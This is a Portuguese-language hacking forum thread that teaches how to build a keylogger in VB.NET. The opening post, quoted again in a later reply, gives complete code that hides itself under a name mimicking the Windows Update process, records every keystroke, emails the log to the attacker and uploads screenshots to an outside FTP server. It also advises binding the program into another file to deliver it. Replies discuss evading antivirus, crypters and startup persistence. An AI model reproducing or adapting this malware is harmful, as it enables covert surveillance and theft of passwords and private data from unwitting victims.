Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

Fazendo um keylogger em vb super facil!

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Fazendo um keylogger em vb super facil!

    Primeiro crie um projeto com o nome wuaucllt. Por que esse nome estranho? Ele é para ser confundido com o processo wuauclt (Windows Update).
    Criado o projeto, coloque 2 timers e 1 textbox multiline:


    Depois clique 2 vezes na form 1, ele vai abrir a pagina de código. Apague tudo e digite isto:

    Código:
    Imports System.Net.Mail
    Public Class Form1
        Dim key As Integer
    
        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
        Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
            Me.hide
        End Sub
    
        Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
            For i = 1 To 255
    
                key = 0
    
                key = GetAsyncKeyState(i)
    
                If key = -32767 Then
    
                    TextBox1.Text = TextBox1.Text + Chr(i)
    
                End If
    
            Next i
    
        End Sub
    
        Private Sub Timer2_Tick(sender As System.Object, e As System.EventArgs) Handles Timer2.Tick
            Dim Mail As New MailMessage
            Mail.Subject = "Keylogger" & System.Environment.UserName
            Mail.To.Add("email que irá receber os dados")
            Mail.From = New MailAddress("keylloger@hotmail.com")
            Mail.Body = TextBox1.Text
            Dim SMTP As New SmtpClient("smtp.live.com")
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("seu email", "sua senha") ' para poder entrar em seu e-mail e mandar os dados para o outro e-mail
            SMTP.Port = "587"
            SMTP.Send(Mail)
            TextBox1.Text = ""
            TextBox1.Text = TimeOfDay
            SendKeys.SendWait("^({PRTSC})")
            My.Computer.Clipboard.GetImage.Save("C:\form.jpg")
            My.Computer.Network.UploadFile("C:\form.jpg", "ftp://ftp.xpg.com.br/files/" & "form.jpg", "***", "****", False, 500)
        End Sub
    End Class
    Vou explicar o código:



    Agora as propriedades da form e dos 2 timers:
    Form1:
    FormBorderStyle = Fixed Single
    Text = wuauclt
    WindowsState = Minimized
    ControlBox = False


    Timer1:
    Enabled = True
    Interval = 1


    Timer2:
    Enabled = True
    Interval = Você determina de quanto em quanto tempo o programa envia as informações (em milisegundos)

    Depois é só usar o Fire Joiner, juntar o arquivo e vualá! Falta só eu achar o cod pro programa iniciar junto com windows, quando eu conseguir posto aqui!

    Ajudou? Da obrigado!
    "A 3ª guerra mundial está declarada, abra seu LOIC e mande ver "
    Similar Threads

  • Font Size
    #2
    O keylogger é bom para quem for usar somente para si mesmo. não para comercial sabe? pois fica impossibilitado de alterar a qualquer momento. se voce desenvolvesse ele ficaria ótimo
    desde já agradeço pelo post, muito bom e explicado
    " Att King Valentine "

    king_valentine@hotmail.com

    Comment


    • Font Size
      #3
      Esse Keylogger os AV's estão pegando né ?

      Comment


      • Font Size
        #4
        Não, aqui eu passei com o Kaspersky Internet Security e não acusou nada.
        "A 3ª guerra mundial está declarada, abra seu LOIC e mande ver "

        Comment


        • Font Size
          #5
          Download do keylogger:
          Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
          Scan: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

          Novas funcionalidades:
          -Inicia junto com o windows
          -O keylogger tem apenas 22 kb
          -Nenhum anti-virus relatou nada
          "A 3ª guerra mundial está declarada, abra seu LOIC e mande ver "

          Comment


          • Font Size
            #6
            sim esse é o KL mais comum. talvez um bom crypter consiga tornar invul
            existe várias maneiras de fazer um keylogger sem utilizar SMTP Async key State pra ficar invul
            " Att King Valentine "

            king_valentine@hotmail.com

            Comment


            • Font Size
              #7
              Postado Originalmente por Anonymous_do_Futuro Ver Post
              Download do keylogger:
              Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
              Scan: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

              Novas funcionalidades:
              -Inicia junto com o windows
              -O keylogger tem apenas 22 kb
              -Nenhum anti-virus relatou nada
              Meu deus, Oh Ceus !
              você passou o serve do Keylogger no Virus Total ?

              Comment


              • Font Size
                #8
                A senha do email aparece quando renomear o exe pra txt...

                Comment


                • Font Size
                  #9
                  Cara O meu ta dando um erro no Key = GetAsyncKeyState(i) bem aki eu fiz tudo certo eu nao sei se tem que incerir esse codigo no visualbasic express

                  Comment


                  • Font Size
                    #10
                    Postado Originalmente por Anonymous_do_Futuro Ver Post
                    Primeiro crie um projeto com o nome wuaucllt. Por que esse nome estranho? Ele é para ser confundido com o processo wuauclt (Windows Update).
                    Criado o projeto, coloque 2 timers e 1 textbox multiline:


                    Depois clique 2 vezes na form 1, ele vai abrir a pagina de código. Apague tudo e digite isto:

                    Código:
                    Imports System.Net.Mail
                    Public Class Form1
                        Dim key As Integer
                    
                        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
                        Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
                            Me.hide
                        End Sub
                    
                        Private Sub Timer1_Tick(sender As System.Object, e As System.EventArgs) Handles Timer1.Tick
                            For i = 1 To 255
                    
                                key = 0
                    
                                key = GetAsyncKeyState(i)
                    
                                If key = -32767 Then
                    
                                    TextBox1.Text = TextBox1.Text + Chr(i)
                    
                                End If
                    
                            Next i
                    
                        End Sub
                    
                        Private Sub Timer2_Tick(sender As System.Object, e As System.EventArgs) Handles Timer2.Tick
                            Dim Mail As New MailMessage
                            Mail.Subject = "Keylogger" & System.Environment.UserName
                            Mail.To.Add("email que irá receber os dados")
                            Mail.From = New MailAddress("keylloger@hotmail.com")
                            Mail.Body = TextBox1.Text
                            Dim SMTP As New SmtpClient("smtp.live.com")
                            SMTP.EnableSsl = True
                            SMTP.Credentials = New System.Net.NetworkCredential("seu email", "sua senha") ' para poder entrar em seu e-mail e mandar os dados para o outro e-mail
                            SMTP.Port = "587"
                            SMTP.Send(Mail)
                            TextBox1.Text = ""
                            TextBox1.Text = TimeOfDay
                            SendKeys.SendWait("^({PRTSC})")
                            My.Computer.Clipboard.GetImage.Save("C:\form.jpg")
                            My.Computer.Network.UploadFile("C:\form.jpg", "ftp://ftp.xpg.com.br/files/" & "form.jpg", "***", "****", False, 500)
                        End Sub
                    End Class
                    Vou explicar o código:



                    Agora as propriedades da form e dos 2 timers:
                    Form1:
                    FormBorderStyle = Fixed Single
                    Text = wuauclt
                    WindowsState = Minimized
                    ControlBox = False


                    Timer1:
                    Enabled = True
                    Interval = 1


                    Timer2:
                    Enabled = True
                    Interval = Você determina de quanto em quanto tempo o programa envia as informações (em milisegundos)

                    Depois é só usar o Fire Joiner, juntar o arquivo e vualá! Falta só eu achar o cod pro programa iniciar junto com windows, quando eu conseguir posto aqui!

                    Ajudou? Da obrigado!


                    ola Bom dia,

                    para que serve essa linha de comando

                    My.Computer.Network.UploadFile("C:\form.jpg", "ftp://ftp.xpg.com.br/files/" & "form.jpg", "***", "****", False, 500)

                    obg,
                    M1$t&r

                    Comment


                    • Font Size
                      #11
                      Ajudo só agora precisamos do codigo para iniciar com o windows.

                      Comment


                      • Font Size
                        #12
                        Postado Originalmente por Anonymous_do_Futuro Ver Post
                        Não, aqui eu passei com o Kaspersky Internet Security e não acusou nada.
                        Muito bomm gosteii!!

                        Comment


                        • Font Size
                          #13
                          Muito bom

                          A galera pode ter uma idéia de como é uk kl.
                          Parabénsss11

                          Comment


                          • Font Size
                            #14
                            O único problema é não detectar as keys em tempo real (timer), as vezes a pessoa aperta A e ele detecta AA ou nem detecta ¬¬

                            Comment

                            X
                            Working...
                            X